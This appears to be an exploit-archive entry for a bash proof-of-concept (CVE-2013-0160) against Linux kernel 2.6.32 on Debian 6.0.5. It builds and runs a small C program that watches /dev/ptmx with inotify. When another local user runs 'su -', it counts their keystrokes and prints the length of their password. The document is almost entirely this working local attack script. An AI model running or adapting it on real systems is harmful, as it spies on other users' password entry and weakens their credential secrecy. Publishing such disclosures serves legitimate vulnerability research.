Linux Kernel 2.6.32-5 (Debian 6.0.5) – ‘/dev/ptmx’ Key Stroke Timing Local Disclosure
#!/bin/bash # ptmx-su-pwdlen.sh -- This PoC determine the password length of a local # user who runs "su -". Done thanks to the ptmx keystroke timing attack # (CVE-2013-0160). See http://vladz.devzero.fr/013_ptmx-timing.php for # more information. # # Tested on Debian 6.0.5 (kernel 2.6.32-5-amd64). # # "THE BEER-WARE LICENSE" (Revision 42): # <vladz@devzero.fr> wrote this file. As long as you retain this notice # you can do whatever you want with this stuff. If we meet some day, and # you think this stuff is worth it, you can buy me a beer in return. -V. if ps -e -o cmd= | egrep -q "^(-|^)su"; then echo "[-] Kill/close all running \"su\" session before using this PoC" exit 1 fi exe=$(mktemp) || exit 1 tmp=$(mktemp) || exit 1 cat > ${exe}.c << _EOF_ #include <stdio.h> #include <signal.h> #include <unistd.h> #include <sys/inotify.h> static int count = 0; void display_result() { printf("[+] password len is %d\n", count-1); _exit(0); } int main() { int fd; char buf[1024]; signal(SIGINT, display_result); fd = inotify_init(); inotify_add_watch(fd, "/dev/ptmx", IN_MODIFY); while(read(fd, buf, 1024)) count++; return 0; } _EOF_ cc -o ${exe}{,.c} echo "[*] Wait for someone to run \"su -\"" while true; do ps -e -o cmd= | egrep "^(-|^)su" >${tmp} x=$(wc -l ${tmp}) case ${x% *} in 1) (( run )) && continue; echo -n "[+] su detected, full command: " cat ${tmp}; ${exe} & (( run = 1 )) ;; 2) [ ! -z "$!" ] && kill -2 $!; break ;; esac done rm -f ${exe}{,.c} ${tmp} |